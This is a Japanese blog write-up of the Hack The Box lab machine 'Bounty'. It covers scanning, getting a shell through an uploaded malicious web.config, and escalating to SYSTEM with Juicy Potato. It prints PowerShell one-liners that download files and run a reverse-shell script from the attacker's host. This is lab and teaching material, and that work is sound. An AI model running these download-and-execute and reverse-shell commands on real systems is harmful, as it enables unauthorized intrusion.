家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

【Hack The Box】Bounty

目次

 

 

 

偵察/スキャン

nmapでスキャンします。

┌──(kali㉿kali)-[~/htb/bounty]
└─$ sudo nmap -A -p- 10.10.10.93    
Starting Nmap 7.94SVN ( https://nmap.org ) 
Nmap scan report for bounty.htb (10.10.10.93)
Host is up (0.23s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Bounty
|_http-server-header: Microsoft-IIS/7.5
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|7|2008|8.1|Vista (92%)
OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1
Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows Embedded Standard 7 (91%), Microsoft Windows 7 or Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 or Windows 8.1 (89%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (89%), Microsoft Windows 7 (89%), Microsoft Windows 7 Professional or Windows 8 (89%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   234.04 ms 10.10.14.1
2   235.87 ms bounty.htb (10.10.10.93)

TCP/80が開いていることがわかりました。
アクセスすると以下のような画面が表示されます。

アクセスした様子

このページは画像を表示しているだけでした。
先程のnmapの結果より、IISで稼働していることがわかったので、拡張子「asp、aspx、txt」に注目してスキャンを行います。

┌──(kali㉿kali)-[~/htb/bounty]
└─$ gobuster dir --url http://10.10.10.93 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -x asp,aspx,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.93
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              asp,aspx,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/aspnet_client        (Status: 301) [Size: 156] [--> http://10.10.10.93/aspnet_client/]
/render/https://www.google.com.aspx (Status: 400) [Size: 11]
/transfer.aspx        (Status: 200) [Size: 941]
/uploadedfiles        (Status: 301) [Size: 156] [--> http://10.10.10.93/uploadedfiles/]
Progress: 18908 / 18908 (100.00%)
===============================================================
Finished
===============================================================

「/transfer.aspx」というページが見つかります。

transfer.aspxへアクセスした様子

 

アクセス取得

このページではファイルのアップロードが可能です。
アップロードしたファイルは以下のフォルダ配下で確認できます。

http://10.10.10.93/UploadedFiles/ファイル名

 

Burpのintruderを使用して、アップロード可能な拡張子を確認します。
ファイルアップロードのリクエストを右クリック「Send to Intruder」でintruderに送ります。

ファイルのアップロードをインターセプト

「Intruder」タブに移動し、拡張子の指定部分をペイロードに指定します。

Intruderタブでペイロードの位置を指定

「Payloads」タブに移り、「Payloads setting」のメニューで「load」より拡張子のリストファイルを選択します。

Payloadsタブで拡張子のリストを指定

設定が終わったら実行します。

実行結果

「.config」ファイルのアップロードができることが確認できました。

 

以下のサイトにある「web.config」および「Invoke-PowerShellTcp.ps1」
を使用してアクセスを取得します。

github.com

上記のファイルがあるディレクトリでWebサーバを立ち上げ、ncで待ち受けた状態で「web.config」をアップロードします。

ファイルのアップロード後、アップロードしたファイルにアクセスするとシェルが取得できます。

ファイルへアクセス

シェルの取得



権限昇格

システムの情報を確認します。
Windows Server 2008 R2であることがわかります。

systeminfoの結果

「whoami /priv」で現在のユーザの権限を確認します。

権限の確認

「SeImpersonatePrivilege」が有効になっており、また、Windows Server 2008 R2であることから「Juicy Potato」での権限昇格できる可能性があります。
※Windows Server 2019およびWindows 10 build 1809以降では、「SeImpersonatePrivilege」を利用した攻撃は防がれており、Juicy Potatoによる権限昇格はできません。

learn.microsoft.com

 

Juicy Potatoを以下のサイトよりダウンロードします。

github.com

 

以下のコマンドでbountyにJuicyPotatoを配置します。

powershell "(new-object System.Net.WebClient).Downloadfile('http://10.10.14.21/JuicyPotato.exe', 'JuicyPotato.exe')"

JuicyPotatoをbountyに配置

実行してみると、必要なオプションが提示されます。

実行結果

※JuicyPotatoの実行ではCLSIDの指定が必要という記事をいくつか見ましたが、自分の環境では不要でした。
また、オプションについては自分の指定した内容を記載しています。

 

-t:プロセス呼び出しオプションで、「*」は両方のモードを試します。
-p:kaliにリバースシェルを送り返すファイルを指定します。
-l:kaliの待ち受けポートを指定しました。

 

「-p」で指定する「shell.bat」は以下の内容を記載しました。
なお、bat内で呼んでいるps1は先程とは異なるポートを指定しています。

 

powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.21:80/Invoke-PowerShellTcp.ps1')

 

「shell.bat」をbountyに配置し、JuicyPotatoを実行します。

JuicyPotato実行結果

待ち受けたncでrootが取得できました。

root取得